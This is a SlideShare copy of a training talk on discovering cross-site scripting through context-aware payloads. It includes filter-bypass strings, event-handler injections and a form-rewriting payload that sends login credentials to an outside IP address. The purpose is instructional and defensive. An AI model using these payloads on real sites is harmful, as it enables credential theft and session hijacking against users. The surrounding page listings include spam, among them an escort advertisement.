SlideShare a Scribd company logo
1 of 25
Application Context and Discovering
XSS without <Script>
Todd Benson
Overview

•
•
•
•
•
•
•

Review XSS
Discuss XSS test cases and discovery
Context
CVSS Scoring
Exploiting
Complimentary Vulnerabilities
Remediation
XSS Review
• Risk level: Moderate
• Description: Cross-Site Scripting results from application parameters that
allow user-supplied input to be presented in subsequent responses. In
particular, when the application allows HTML and JavaScript special
characters to be reflected, an attacker can cause the victim to observe
different application behavior than expected.
• Exploitation vector: In XSS scenarios, the application allows attacker to use
the application as a launching point for attacks against victims’ workstations.
An attacker with knowledge of the vulnerability can construct URLs to
appropriate PACTS application pages that cause malicious activity within the
victim’s browser.
• Recommendation: Validate user-supplied input server-side. Sanitize special
characters (e.g., <, >, “, ‘, etc) prior to returning those values to a requesting
client.
XSS Test Cases - Formal

1. Submit payloads to each request parameter
2. Identify any instances of the application returning the
request parameter unmodified
3. Find the location within the HTML of the supplied
input and review the surrounding HTML to identify
potential payloads
4. Submit various possible payloads to the application
via identified parameters
5. If payloads are returned unmodified, confirm with a
browser
6. If the payloads are modified, attempt to bypass the
server-side filters
XSS Discovery

• Basic Reflection
– XSSTEST

• Filter Detection
–
–
–
–
–
–
–
–

<XSSTEST>
<"';()>
"';()
%3cXSSTEST%3e
%3c%22%27%3b%28%29%3e
%22%27%3b%28%29
%25%33%63XSSTEST%25%33%65
%25%33%63%25%32%32%25%32%37%25%33%62%25%32%38%25%
32%39%25%33%65
– %25%32%32%25%32%37%25%33%62%25%32%38%25%32%39
XSS Test Cases – In reality

1.
2.
3.
4.

Discover XSS - Tool(s)
Confirm existence
Show PoC (Alert popup)
Craft an exploit
– Filter?
– How easily is the exploit detected?
– Will the exploit run most or all of the time?
– What are factors that may not allow it to run?
5. With other Vulns
Discovering XSS

Using tools
– Pretty good, for reflective
– Some are better than others
– Even when they are good, they can only do so
much
– At best, PoC
– Don’t understand context
Context

What do we mean by context?
 What… area of the application?
 Where… in the page is the payload injected?
 Who… is the client (User role AND browser)?
 How…. will it be exploited?
CVSS Scoring
XSS – Login Demo

• Simple page
– Enter username on one page and submit
– Enter password and submit
– Checks credentials
– Filters against <script> and variants
XSS – Login Demo (cont)

Simple
"><script>alert(1);</script><!--
XSS – Login Demo (cont)

Filter Bypass
" type="hidden"
/></center></form><object
data="data:text/html;charset=utf-8;
base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcm
lwdD4NCg%3D%3D" /></body></html><!--
XSS – Login Demo (cont)

Form abuse
" type=hidden></form><form
action="http://156.132.142.11/pa
sswords.php method="get"><input
name="Username" value="
XSS without < or > - Demo

• Page has 6 different inputs, each one exploitable
• For demo purposes only, not meant to be practical or
realistic
• < and > are filtered
– All exploits must be done in context
XSS without < or > - Demo (cont)

Payloads
• Number: ';alert(1);a='
• Link: Test" onclick=alert(1) name="
• Image: a" onerror=alert(1) name=" ##
use onload instead?
XSS without < or > - Demo (cont)

Payloads
• Name: Todd";} catch(e)
{}; alert(1); try{ a="
• Comment: test" type="image"
src="a" onerror=alert(1) name="
• Color: ff000;display:block;position:
absolute;top:0;left:0;width:999em;
height:999em onmouseover=alert(1)
Exploiting – Crafting an Exploit

What can you do?
• Modify the page (Site defacement)
• Key Logger
• Redirect Browser (Forced Browsing)
– Steal Cookie (Session hijacking?)
– XSSF
– BeEF
– Load remotely hosted scripts
• Data theft
Exploiting – Crafting an Exploit (Cont)

What else????
• Combination:
– Number: '; function test() { var elem =
document.getElementById("Comment");
elem.value = 'My default value';}; a=‘
– Comment: " onblur="test();" id="Comment
Complimentary Vulns

•
•
•
•
•
•
•

GET/POST
HttpOnly
Session Hijacking
Clickjacking
CSRF
File Upload
What else???

XSS

GET

POST

Clickjacking

HTTPOnly
Session
Hijacking

CSRF
CVSS Scoring Steps

• One tool finds it
– (Report Confidence: Unconfirmed; Exploitability:
Unproven that exploit exists)
• Two tools find it
– (Report Confidence: Uncorroborated)
• Manual verification in browser
– (Report Confidence: Confirmed)
• Popup
– (Exploitability: Proof of concept code)
• Exploit
– (Exploitability: Functional exploit exists)
CVSS Scoring Steps (Cont)

Impact Metrics; General Modifiers; Access Complexity;
Exploitability;
• Type of exploit
• Refined exploit
• Complimentary vulns
Remediation

• <>"'=;
• Properly Escape all untrusted
data based on context (Use a
anti-XSS library)
• Use Content Security Policy
Summary

• <script>alert(1);</script> isn’t enough to
discover XSS and evaluate risk
• Context – Context – Context
– of payloads
– of who the user is
– of location in application
– of relation to other vulns
Questions?
References

•
•
•
•
•

mitre
wahh
http://securityoverride.org/articles.php?article_id=13
SANS 542 and 642
http://www.slideshare.net/jimmanico

More Related Content

What's hot

VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012Abraham Aranguren
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSIvan Ortega
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Yassine Aboukir
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into ClickjackingMarco Balduzzi
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerabilitySoumyasanto Sen
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Nilesh Sapariya
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!VodqaBLR
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 

What's hot (20)

VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
XSS
XSSXSS
XSS
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into Clickjacking
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerability
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 

Viewers also liked

Designing a new user interface for open source projects
Designing a new user interface for open source projectsDesigning a new user interface for open source projects
Designing a new user interface for open source projectsGabriel Cardoso
 
Project task duration estimation
Project task duration estimationProject task duration estimation
Project task duration estimationprodyss
 
Testing of Object-Oriented Software
Testing of Object-Oriented SoftwareTesting of Object-Oriented Software
Testing of Object-Oriented SoftwarePraveen Penumathsa
 
Software Fault, Error, and Failure
Software Fault, Error, and FailureSoftware Fault, Error, and Failure
Software Fault, Error, and Failurenethisip13
 
Different Software Testing Levels for Detecting Errors
Different Software Testing Levels for Detecting ErrorsDifferent Software Testing Levels for Detecting Errors
Different Software Testing Levels for Detecting ErrorsWaqas Tariq
 
Android life cycle
Android life cycleAndroid life cycle
Android life cycle瑋琮 林
 
MICG - Strategy and Risk Management for MTU Services
MICG - Strategy and Risk Management for MTU ServicesMICG - Strategy and Risk Management for MTU Services
MICG - Strategy and Risk Management for MTU ServicesKenny Ong
 
Forecasting total cost and duration of Product Backlog
Forecasting total cost and duration of Product BacklogForecasting total cost and duration of Product Backlog
Forecasting total cost and duration of Product BacklogRussell Pannone
 
Android activity lifecycle
Android activity lifecycleAndroid activity lifecycle
Android activity lifecycleSoham Patel
 
Intent in android
Intent in androidIntent in android
Intent in androidDurai S
 
Object oriented testing
Object oriented testingObject oriented testing
Object oriented testingHaris Jamil
 
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...CA Technologies
 
Android: Intent, Intent Filter, Broadcast Receivers
Android: Intent, Intent Filter, Broadcast ReceiversAndroid: Intent, Intent Filter, Broadcast Receivers
Android: Intent, Intent Filter, Broadcast ReceiversCodeAndroid
 
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...Lecture 2 Software Engineering and Design Object Oriented Programming, Design...
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...op205
 
structured programming
structured programmingstructured programming
structured programmingAhmad54321
 
Understanding android security model
Understanding android security modelUnderstanding android security model
Understanding android security modelPragati Rai
 
structured programming Introduction to c fundamentals
structured programming Introduction to c fundamentalsstructured programming Introduction to c fundamentals
structured programming Introduction to c fundamentalsOMWOMA JACKSON
 
ABAP Event-driven Programming &Selection Screen
ABAP Event-driven Programming &Selection ScreenABAP Event-driven Programming &Selection Screen
ABAP Event-driven Programming &Selection Screensapdocs. info
 

Viewers also liked (20)

Designing a new user interface for open source projects
Designing a new user interface for open source projectsDesigning a new user interface for open source projects
Designing a new user interface for open source projects
 
Android 101 workshop
Android 101 workshopAndroid 101 workshop
Android 101 workshop
 
Project task duration estimation
Project task duration estimationProject task duration estimation
Project task duration estimation
 
Testing of Object-Oriented Software
Testing of Object-Oriented SoftwareTesting of Object-Oriented Software
Testing of Object-Oriented Software
 
Software Fault, Error, and Failure
Software Fault, Error, and FailureSoftware Fault, Error, and Failure
Software Fault, Error, and Failure
 
Different Software Testing Levels for Detecting Errors
Different Software Testing Levels for Detecting ErrorsDifferent Software Testing Levels for Detecting Errors
Different Software Testing Levels for Detecting Errors
 
Android life cycle
Android life cycleAndroid life cycle
Android life cycle
 
MICG - Strategy and Risk Management for MTU Services
MICG - Strategy and Risk Management for MTU ServicesMICG - Strategy and Risk Management for MTU Services
MICG - Strategy and Risk Management for MTU Services
 
Forecasting total cost and duration of Product Backlog
Forecasting total cost and duration of Product BacklogForecasting total cost and duration of Product Backlog
Forecasting total cost and duration of Product Backlog
 
Android activity lifecycle
Android activity lifecycleAndroid activity lifecycle
Android activity lifecycle
 
Intent in android
Intent in androidIntent in android
Intent in android
 
Object oriented testing
Object oriented testingObject oriented testing
Object oriented testing
 
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...
Pre-Con Ed: Test Data Management and Compliance: Is your Test Data Ready for ...
 
Android: Intent, Intent Filter, Broadcast Receivers
Android: Intent, Intent Filter, Broadcast ReceiversAndroid: Intent, Intent Filter, Broadcast Receivers
Android: Intent, Intent Filter, Broadcast Receivers
 
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...Lecture 2 Software Engineering and Design Object Oriented Programming, Design...
Lecture 2 Software Engineering and Design Object Oriented Programming, Design...
 
Introduction to White box testing
Introduction to White box testingIntroduction to White box testing
Introduction to White box testing
 
structured programming
structured programmingstructured programming
structured programming
 
Understanding android security model
Understanding android security modelUnderstanding android security model
Understanding android security model
 
structured programming Introduction to c fundamentals
structured programming Introduction to c fundamentalsstructured programming Introduction to c fundamentals
structured programming Introduction to c fundamentals
 
ABAP Event-driven Programming &Selection Screen
ABAP Event-driven Programming &Selection ScreenABAP Event-driven Programming &Selection Screen
ABAP Event-driven Programming &Selection Screen
 

Similar to Application Context and Discovering XSS without

Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012
Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012
Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012TEST Huddle
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Aman Singh
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptDenis Kolegov
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
Bsides-Philly-2016-Finding-A-Companys-BreakPointBsides-Philly-2016-Finding-A-Companys-BreakPoint
Bsides-Philly-2016-Finding-A-Companys-BreakPointZack Meyers
 
Crash Course In Brain Surgery
Crash Course In Brain SurgeryCrash Course In Brain Surgery
Crash Course In Brain Surgerymorisson
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kimjaxconf
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeFastly
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Stormpath
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platformskosborn
 
香港六合彩
香港六合彩香港六合彩
香港六合彩baoyin
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxkarthikvcyber
 

Similar to Application Context and Discovering XSS without (20)

Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012
Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012
Adrian Rapan - Re-purposing Webdriver for Security Testing - EuroSTAR 2012
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
Bsides-Philly-2016-Finding-A-Companys-BreakPointBsides-Philly-2016-Finding-A-Companys-BreakPoint
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Crash Course In Brain Surgery
Crash Course In Brain SurgeryCrash Course In Brain Surgery
Crash Course In Brain Surgery
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edge
 
Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)Building Secure User Interfaces With JWTs (JSON Web Tokens)
Building Secure User Interfaces With JWTs (JSON Web Tokens)
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
WebApps_Lecture_15.ppt
WebApps_Lecture_15.pptWebApps_Lecture_15.ppt
WebApps_Lecture_15.ppt
 
Cos 432 web_security
Cos 432 web_securityCos 432 web_security
Cos 432 web_security
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 

More from Todd Benson (I.T. SPECIALIST and I.T. SECURITY) (9)

Owasp consumer top 10 safe habits
Owasp consumer top 10 safe habitsOwasp consumer top 10 safe habits
Owasp consumer top 10 safe habits
 
The Unlikely Couple, DevOps and Security. Can it work?
The Unlikely Couple, DevOps and Security. Can it work?The Unlikely Couple, DevOps and Security. Can it work?
The Unlikely Couple, DevOps and Security. Can it work?
 
Sar writingv2
Sar writingv2Sar writingv2
Sar writingv2
 
Defending web applications v.1.0
Defending web applications v.1.0Defending web applications v.1.0
Defending web applications v.1.0
 
SQLmap
SQLmapSQLmap
SQLmap
 
Regex 101
Regex 101Regex 101
Regex 101
 
Overview of java web services
Overview of java web servicesOverview of java web services
Overview of java web services
 
Becoming a better pen tester overview
Becoming a better pen tester overviewBecoming a better pen tester overview
Becoming a better pen tester overview
 
SSL overview
SSL overviewSSL overview
SSL overview
 

Recently uploaded

Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 

Recently uploaded (20)

Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdf
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 
Designing IA for AI - Information Architecture Conference 2024
